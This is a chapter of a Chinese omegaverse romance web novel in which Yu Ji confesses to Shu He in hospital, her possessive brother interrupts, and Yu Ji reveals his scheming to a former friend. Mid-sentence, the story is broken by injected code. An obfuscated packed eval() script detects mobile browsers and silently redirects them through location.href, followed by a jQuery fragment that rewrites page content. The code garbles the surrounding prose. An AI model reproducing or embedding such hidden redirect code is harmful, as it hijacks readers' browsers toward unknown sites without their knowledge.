时间推移过了一个星期,那几个霸凌余霁的omega受到了应有的处罚,被圣之学院开除,而宋慕白在宋家一力担护下没有被学校开除但也记了处分,一年的观察劳务期,让这个娇滴滴的omega派去打扫垃圾星一年。
而舒禾虽然是见义勇为的善意行为,但是S级alpha信息素给学校闹出了不少事端,造成暴乱,虽然在江家、严家和舒家三家的运转下,免去了处分和开除,将这件事压了下来没有闹上帝国新闻,但也免不了处罚。
和宋慕白一起被派去文从事义务劳动,清扫垃圾星一个月,一个扫北边一个扫南边。
江敛行还和她说,本来宋慕白吵着闹着要和她一起扫垃圾星,但闹出那么大的事都是因为宋慕白那个蠢货,他怎么可能如他的意,于是暗箱操作直接将两人分隔两极。
舒禾回想起江敛行和她说起这件事的神情,不由得抿出一个浅淡的笑。
但余霁受到她的信息素影响最深,甚至前天还因为抑制剂注射过度在医院还没有养好腺体就又被S级alpha的信息素强刺激,还是高达90%匹配度,于是现在都还没有醒来。
余霁好像和她接触以后好像都特别倒霉。
舒禾心中不由有些愧疚地想,所以她每天在垃圾星扫完垃圾后就会来到医院看看余霁的情况。
今天也不例外。
她从垃圾星卖花的阿婆手里买了一束手作的玻璃花,推开病房门恰好对上余霁听见响动看过来的双眸。
舒禾惊喜地快步走近:“余霁,你醒了啊!”
阳光透过树隙在余霁身上落下点点光斑,他穿着一身蓝白条的病服,本就白皙如玉的脸如今更显得白到透明,像是荒凉雪山上结出的唯一有色彩的花,褐色双眸像是闪着光亮的琥珀,就算再危险都有人愿意不顾一切攀折。
然而随着舒禾的靠近,这朵冰花上的雪意却渐渐消散,融成一个暖意的笑:“医生说我明天做完身体检查后,没问题的话就可以出院了。”
“那我今天买花可买对了!”舒禾将捧着的花向前递出,“这是我在扫垃圾星的阿婆手里买的玻璃花,阿婆跟我说制作它的原材料从垃圾里炼制的,还挺有意义的,也很好看,送给你。”
余霁看向舒禾手里随着光线折射出不同炫光的花,长长的睫羽遮住了眼里流露的情意与感动,伸手接过:“舒禾,谢谢你。”
“不用谢我,这个很廉价,我还以为你会嫌弃呢。”舒禾坐在病床旁的陪床凳子上,笑得双眼微眯。
余霁摇摇头,抿唇有些怯意不敢开口,最后只干巴巴地说道:“不会嫌弃。”
避开舒禾澄澈看着他的双眼,把那束玻璃花放在病床旁的花瓶里。
病房内开着恒温加湿器,但对舒禾急匆匆赶来身上正是发热的时候,聊了会天额头上更是冒出细密的薄汗,她随意地撸起垂落零散被汗打湿的发丝。
“等你明天出院后就大胆开心地回校,星网上他们说你的坏话我已经全部处理了,也在学校里跟大家澄清了你和我的关系,都是因为我,你才会受到这样的无妄之灾。”舒禾说着顿了顿,“对了,邹教授还跟我说,你不在都没有人陪她修机甲了,盼着你回学校呢!”
余霁双手交握在被子上,靠在病床支放的靠背上,安静地聆听着舒禾絮絮叨叨地跟他说着近几天发生的一些趣事、琐事,还不忘在她说话的间隙递上温水,以免累了嗓子。
“舒禾,去扫垃圾星很辛苦吧。”
舒禾接过水灌了一口,连连摆手摇头:“不辛苦,垃圾星是在帝国管控之外的星球,上面的环境太差了,而且原住民都无法受到帝国法的保护,那个卖花的阿婆会跟我说很多很多垃圾星的事情,还挺有趣的,我也想在我力所能及的范围内能够帮助她们。”
余霁感觉自己的心像是在被什么东西一圈一圈的缠绕,但看着舒禾的笑容所有身体内部的奇怪反应,他选择放任自流。
舒禾是他认识的最特别的alpha,她善良阳光,对所有人天生都是笑脸,却不是像omega口中学校其他著名温柔alpha的虚假,是一种难得的真诚,学业认真,做错事情也会大大方方道歉。
甚至在他给舒禾打电话向她借钱,她没有会像其他alpha要求他付出一定的抵押代价,但当初他不就是因为了解舒禾善良的秉性才会选择向她求助吗?
其实星网上的人说得并没有错,他的确是一个有心机的omega,他利用了舒禾的善良,但也正是因为这样,他更觉得自己丑陋不堪,像是埋在阳光下深藏的肮脏淤泥,总有腐臭味散发出来的一天。
如果有一天,舒禾知道一切,她应该就不会再靠近他了吧?
但等这一天到来之前,让他多靠近她一点吧……
余霁探出身子,小心翼翼地贴上舒禾的唇,蜗牛终于向外探出了他的触角。
这是他的初吻,也是他第一次喜欢一个人。
许许多多的第一次揉在一起成了一句小心翼翼的表白:“舒禾,我喜欢你。”
他在学校路过的时候,总能遇见不同的omega热烈的、小心的、害羞的跟舒禾文告白,他以前忙着学业和工作身心俱疲的时候,看到这样的场景只会更加意识到他和别的omega的与众不同,令他厌烦。
然而厌烦的过多,他不由自主地开始慢慢关注在无数omega编织的告白场景里的主人公。
……
心跳犹如闷鼓,等待回复的时候既怕又惊,原来那些omega是这样的心情。
如今,轮到他了,那么他的审判会是什么呢?
舒禾早已僵硬到只能直愣愣地直着身子,垂落身侧的手无措地紧握,感受着唇瓣软热的温度,以及独属omega的唇齿香气……大脑完全停止了运转。
这……这还是她第一次和人接吻!
她……她……她应该做什么?闭上眼睛吗?
于是两个完全不懂的人就这样闭着眼睛直愣愣地唇贴着唇。
余霁等了半天,没有等到舒禾的回应,于是迟缓犹豫地睁开眼睛,他想去看舒禾脸上的神情,然而却对上房门窗户上阴鸷怨毒的双眼。
不知道在病房门外看了多久。
余霁吓得一抖。
舒禾也终于回过神来,手忙脚乱地站起身甚至撞倒了凳子,她着急地回过头扶起凳子又想起余霁的告白还在等待她的回复,“我……我……”
死脑,快想啊!
“我想……我们……”
然而,一道更为冷冽的声音急促地打断了舒禾。
“舒禾!”
她看向声音的来源,是哥哥。
庄野推开病房门,再也忍受不住地握着舒禾的手腕,十指像是要紧紧嵌进妹妹的血肉里,声线有些颤抖,压抑着说:“爸和舒阿姨快下飞机了,我们昨天说好要去接他们,现在快没时间了。”
舒禾看向病房悬挂的计时器,她差点忘记要去机场这件事了!
的确时间来不及了,但是……
她看向病床上的脸色苍白的余霁,心中一软,看向庄野说道:“哥哥,你先出去一会,我跟余霁说句话就走。”
手腕处的手掌越收越紧,庄野的眼神终于落在病床上的omega身上,漂亮、虚弱、垂着眼睛害怕的模样却又带着倔强清冷的模样,正跟电视剧里勾引alpha出轨的omega一模一样。
而他的妹妹,也被这样的omega勾引了!
妹妹要离开他了!
想到这里,庄野恨不得拿那天剪碎衣服的剪刀再一次刮花omega的脸。
可他却还有勉强维持温柔体贴的姿态:“阿禾,真的没有时间了,司机在门口等很久了,不然我也不会突然进来打断你们。”
舒禾听到这里,脸微红,毕竟她刚才在和余霁接吻,却被哥哥看见了,就跟刚只牵上手的小情侣却被家人撞见了一样令人尴尬。
她看看余霁,又看看哥哥,艰难地做出了决定:“那我们先去接妈妈和叔叔,他们等太久了也不好。”
至于……
她看向余霁,眼神略带歉意:“不好意思。”
余霁紧抓着被子的手一松,勉力露出温和的笑容:“你不用跟我道歉,去吧。”
舒禾点点头,转头看向哥哥:“走吧。”
庄野礼貌歉意地朝余霁颔首,背过身去的同时手却从握着妹妹的手腕慢慢滑移到妹妹的掌心。
然后像胜者般紧紧攥住。
舒禾完全没有意识到任何的不对,或者说她习惯了庄野的气息。
习惯了和哥哥牵手、拥抱,但她忘记了,他们已经长大了。
长大的哥哥和妹妹是不能牵手的,但一个毫无察觉,一个默许。
等舒禾的背影彻底离开余霁的视野,他紧绷的身体才渐渐放松下来。
舒禾的哥哥,庄野,他在学校里也经常听见他的名字。
一个普通到人群中毫不起眼的beta,但因为有舒禾这么一个优秀的妹妹,在圣之学院经常和舒禾的名字一同被提及。
“要不我们和庄野这个beta做朋友吧,说不定就能从他那里打听到舒禾的喜好了呢?”
“你以为就你有这个想法吗,庄野他可一点都不简单,别看他对谁都和和气气,连从庄野那里能拿到舒禾的联系方式都没有一个omega做到。”
“你接近庄野,还不如接近江敛行呢。”
这是曾经余霁不小心听见几个omega的谈话,一个不可置信的想法突然冒出来,但很快又被划去。
但起码有一件事他可以确定,刚才庄野是故意做给他看的。
余霁正沉溺在思考中,门外却传来窸窣的响动。
“谁?”余霁眉眼凌厉地抬眼看去。
过了几分钟,门口都没有出现人影。
“出来吧,别藏了,我知道是你。”余
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343266|199464||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
霁淡淡开口。
话音刚落,门口出现了一个瑟缩着身体的omega,眼睛低低垂着,胆小怯弱展现得淋漓尽致。
如果舒禾还在现场,就能发现这个omega就是那天在杂物间门口鬼鬼祟祟哭着跑走的omega。
“你怎么进来的?我记得这是舒家的私人医院。”
“余霁,你不要装了,我都知道了。”omega轻声道,他走进来轻轻关上了门,却只敢站在门口连多靠近余霁一步都不敢。
余霁看向他,蓦地轻笑出声:“薛言,我以为我们是最好的朋友,所以当宋慕白他们找上来的时候我挡在你身前保护你,我把你推出去找人求助,可是……你是怎么做的呢?”
“我……我……”薛言结巴到半天说不出来。
他的瞳孔转向薛言,情绪浅淡,像是被朋友背叛伤透了心:“你站在门口听着我在里面求救,你没有找帮手,甚至……你跑走了。”
“我知道你暗恋舒禾很多年,但是很多事情不是我能决定的。”余霁蹙眉,伤痛无奈萦绕在眉间。
“可是……可是舒禾的联系方式是你偷偷从我的星网拷贝的!”薛言终于再也承受不住,崩溃大叫:“是你……是你故意卖惨接近舒禾,而且我知道……我知道……”
薛言神情崩溃,眼神猛地抬起头直直看向余霁,满是怨毒:“宋慕白他们是你设计引来的!你卖惨设计舒禾,舒家江家知道了不会放过你的。”
“你明明知道我喜欢舒禾,暗恋他,我曾经也把你当最好的朋友,可是你却背着我勾引她!”
“可是我成功了不是吗?”
薛言神情一怔,似乎是不可置信:“你……你说什么?!”
余霁浅浅一笑,回味地抚上唇瓣:“我说,我成功了,薛言,你明白吗。”
薛言不可置信地脚步踉跄,崩溃地混着泪水连连摇头:“我不相信,我不相信!我要告诉舒禾!我要在舒禾面前揭穿你!”
余霁温和的神情渐渐冷却,“你可以去试试。”
“薛言,你私底下对舒禾做得事情我都有证据哦,偷拍、意.淫,哦……还有……”余霁话音一顿,唇角勾起一个骇人的笑:“舒禾最讨厌的就是你这种人,你可以选择去告诉她,我也有一千种一万种方法让舒禾讨厌你,厌恶你,甚至在圣之学院成为人人喊打的老鼠。”
薛言的脸上布满惊恐,像是第一次直面恶魔。
余霁看着薛言,又缓缓收起神情,变回温柔的声音:“薛言,你是我最好的朋友,我们应该互相帮助,而不是伤敌自损。”
“我可以帮你完成你一直以来的那个心愿。”余霁柔柔地笑着,伸出拉钩的手指:“我们可以做个交易。”
-
另一边,舒禾和庄野匆匆赶到机场,因为马尔代夫是一个独立的岛屿,因为环境保护的原因禁止私人飞行器,只能依靠机场提供的飞机才能到达。
两人走到等候区,只是庄野明显地心不在焉。
舒禾垂眸看着庄野从医院离开就没有松开的手,轻声询问道:“怎么了,哥哥?”
庄野勉强地勾起一个笑容,眼里是尽力掩藏的害怕和酸楚。
他也想知道自己怎么了,为什么离舒禾这么近,明明已经紧紧抓着妹妹的手了,却还是犹如走在悬崖边,一不小心就掉下去万劫不复。
“没事,昨天我忙课业太晚了,没休息好。”
舒禾点点头,她看出来庄野在说谎,但是哥哥不想说就不想说吧。
很快,舒妈和庄爸很快从机口出来,一眼就看见了两人。
庄爸爸兴高采烈地远远地朝两人挥手,舒妈妈神情却淡淡的,只是走近的时候露出一个极浅的笑:“舒禾,你最近捅出的乱子不小啊?”
“舒禾平常最是听话懂事了,这次肯定是事发有因,而且事情不都已经解决了吗,你偏要急匆匆赶回来。”舒爸爸埋怨道,脸上的笑容却是幸福甜蜜的。
“舒禾在学校公然释放信息素这不是乱子?”舒妈妈语气严厉,“你未免对舒禾太纵容了,要是再这样下去,不知道要乱成什么样子了!”
“你这么凶做什么?”舒爸爸瘪嘴,“把舒禾都吓到了,我又没说不管,咱们回家关上门说不行吗?”
舒禾早已习惯两人的相处方式,诚恳地点头:“我回家后将细细陈述罪状,做出反思。”
庄野早已经习惯了他们的眼里只有妹妹,只是静静地站在一旁。
舒妈妈看了庄爸一眼,转而拿出一早就准备好的礼物递给庄野:“跟你爸爸没办法没时间赶回来给你庆生,20岁生日快乐。”
庄野有点愣,下意识地看向爸爸。
而庄爸爸的眼神却落在他和舒禾紧牵的双手,庄野蓦地打了个激灵,下意识松开手。
等他真正松开手时却恍然发觉,他为什么要松手,他和妹妹牵手不是很正常的事情吗?
还是……做贼心虚?